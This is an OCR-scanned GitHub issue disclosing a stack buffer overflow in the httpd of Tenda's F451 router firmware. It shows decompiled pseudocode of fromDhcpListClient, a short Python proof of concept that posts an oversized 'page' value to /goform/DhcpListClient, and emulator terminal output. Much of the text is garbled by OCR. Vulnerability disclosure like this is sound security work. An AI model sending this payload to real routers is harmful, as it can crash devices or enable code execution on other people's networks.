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overflow #11
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Information

Vendor: Tenda

Product: F451 kfw V1.0.0.7_cn_svn7958

Version: V1.0.0.7

Vulnerability: buffer overflow

Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :
In fromDhcpListClient function,it reads in a user-provided parameter page,
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sub_1495C( "GetWanNum”, formGetWanNum);
sub_D878("aspGetWanNum", aspGetWanNum);
sub_D878("aspGetCharset"”, aspGetCharset);
sub_1495C("WizardHandle", fromWizardHandle);
sub_1495C("AdvSetLanip”, fromAdvSetLanip);
sub_D878("TendaGetDhcpClients"™, aspTendaGetDhcpClients);
sub_1495C("DhcpListClient”, fromDhcplListClient);
sub_1495C("DhcpSetSer", fromDhcpSetSer);
sub_1495C("SetWebIpAccess"”, SetWebIpAccess);
sub_1495C("WanPolicy", fromWanPolicy);
sub_1495C("AdvSetWan", fromAdvSetWan);
sub_D878("TendaGetUpnpLists", TendaGetUpnpLists);
sub_1495C("VirSerUpnp", fromUpnp);
sub_1495C("SafeWanlebMan"”, fromSafeWanWebMan);

and the variable v11 is passed to the sprintf function without any length check, which may overflow the stack-
based buffers__1.

https://github.com/Jimi-Lab/cve/issues/11
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IDA View—-A B Pseudocode-D B Pse
1int _ fastcall fromDhcplListClient(int al)
2 {
3 int v1; // re

4 int v2; // re

5 _DWORD s_[4]; // [sp+1eh] [bp-36Ch] BYREF

6 char v6; // [sp+2@h] [bp-35Ch]

7 char s[64]; // [sp+12@h] [bp-25Ch] BYREF

8 char dest[256]; // [sp+l66h] [bp-21Ch] BYREF
9 char s__1[256]; // [sp+266h] [bp-11Ch] BYREF
1@ int vi1e; // [sp+36eh] [bp-1Ch]
11 const char *v11; // [sp+364h] [bp-18h]

12 char *nptr; // [sp+368h] [bp-14h]

13 int 1i; // [sp+36Ch] [bp-16h]

14
@15 i =20;
® 16 memset(s, @, sizeof(s));
® 17 nptr = (char *)sub_28BCC(al, "LISTLEN", "e");
e 18 w1l = (const char *)sub_28BCC(al, "page", "1");
® 19 vb = 8;
®20 for (1=1; ; ++1 )
21| {
e 22 vl = atoi(nptr);
e 23 W (vi+1 vl )
® 24 break;
e 25 memset(s , @, sizeof(s_));
® 26 sprintf((char *)s_, "%s%d", "list", i);
® 27 v1® = sub_28BCC(al, s_, &unk_81DA4);
® 28 strcpy(dest, (const char *)(vie + 1));
® 29 dest[strlen(dest) - 1] = 6;
® 30 sprintf(s, "dhcps.Staticip%d", i);
e 31 SetValue(s, dest);
32}
® 33 SetValue("dhcps.Staticnum", nptr);
® 34 v2 = sprintf(s__1, "lan_dhcp_static.asp?page=%s", vil);
® 35 if ( CommitCfm(v2) )
® 36 sub_637C8();
e 37 return sub_28F8C(al, s__1);
® 38}

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code
execution.

Proof of Concept (PoC)
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import requests
url = "http://127.0.0.1/goform/DhcpListClient"

payload = {

'page”:b'a™*2048

}

res = requests.post(url=url,data=payload)

Overcome

import requests

url

http://127.0.0.1/goform/DhcpListClient”

payload = {

RES:

PROBLEMS

(base) jimi@jimi-virtual-machine:~/CVEFinder/TengDa/_F451_kfw_V1.0.
0.7_cn_svn7958.bin.extracted/squashfs-root$ sudo chroot .

‘page’':b'a'*2048

requests.post(url=url,data=payload)

OUTPUT DEBUG CONSOLE TERMINAL PORTS

m-static /bin/httpd

Connect to server failed.

httpd listen ip = ©.0.0.0 port = 80
webs: Listening for HTTP requests at address 148.4.9.0
connect: No such file or directory
Connect to server failed.
line:458.open /dev/flow failed.
connect: No such file or directory
Connect to server failed.

connect: No such file or directory
Connect to server failed.

connect: No such file or directory
Connect to server failed.

connect: No such file or directory
Connect to server failed.

connect: No such file or directory
Connect to server failed.

connect: No such file or directory
Connect to server failed.

connect: No such file or directory
Connect to server failed

ual-machine:~/CVEFinder/TengDa/_F451_kfw_V1.0.

<% 0.7 cn_svn7958.bin.extracted/squashfs-root$ l

Sign up for free

Metadata

Assignees

No one assigned

Labels

No labels

https://github.com/Jimi-Lab/cve/issues/11

./qemu-ar

(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)

% (base)
(base)

jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual-machin
jimi@jimi-virtual

jimi@jimi-virtual-machin
jimi@jimi-virtual-machine:

:~/CVEFinder$

~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
/CVEFinder$
/CVEFinder$
/CVEFinder$
~/CVEFinder$
~/CVEFinder$
/CVEFinder$
/CVEFinder$
/CVEFinder$
~/CVEFinder$
~/CVEFinder$
/CVEFinder$
/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$

:~/CVEFinder$

~/CVEFinder$
/CVEFinder$

/CVEFinder$
~/CVEFinder$

(@ bash - CVEFinder

to join this conversation on GitHub. Already have an account? Sign in to comment

3/4


http://127.0.0.1/goform/DhcpListClient
https://private-user-images.githubusercontent.com/112402021/571323183-2a7d3e12-74e4-4e67-9786-70d35628b6d8.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzU5NzUyNjAsIm5iZiI6MTc3NTk3NDk2MCwicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzIzMTgzLTJhN2QzZTEyLTc0ZTQtNGU2Ny05Nzg2LTcwZDM1NjI4YjZkOC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDEyJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQxMlQwNjIyNDBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1lOWY3ZDkxMGE2NmNmYzMyYWQ4MWZmOTYwYmYxOWZiMGI1YzA0Y2Y5OWQwMGUxMmE3NjM5MDdhNTJlNjI1MjFlJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.QdZHtqFCCS4bDyjHOW8m-L3s_tKV4uqO4rt1qGJQ3h0
https://private-user-images.githubusercontent.com/112402021/571323183-2a7d3e12-74e4-4e67-9786-70d35628b6d8.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzU5NzUyNjAsIm5iZiI6MTc3NTk3NDk2MCwicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzIzMTgzLTJhN2QzZTEyLTc0ZTQtNGU2Ny05Nzg2LTcwZDM1NjI4YjZkOC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDEyJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQxMlQwNjIyNDBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1lOWY3ZDkxMGE2NmNmYzMyYWQ4MWZmOTYwYmYxOWZiMGI1YzA0Y2Y5OWQwMGUxMmE3NjM5MDdhNTJlNjI1MjFlJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.QdZHtqFCCS4bDyjHOW8m-L3s_tKV4uqO4rt1qGJQ3h0
https://github.com/login?return_to=https://github.com/Jimi-Lab/cve/issues/11
https://github.com/signup?return_to=https://github.com/Jimi-Lab/cve/issues/11

4/12/26, 6:22 AM The fromDhcpListClient function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow - Issue ...

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development
S Code with agent mode v

No branches or pull requests

Participants

https://github.com/Jimi-Lab/cve/issues/11 4/4


https://github.com/Jimi-Lab

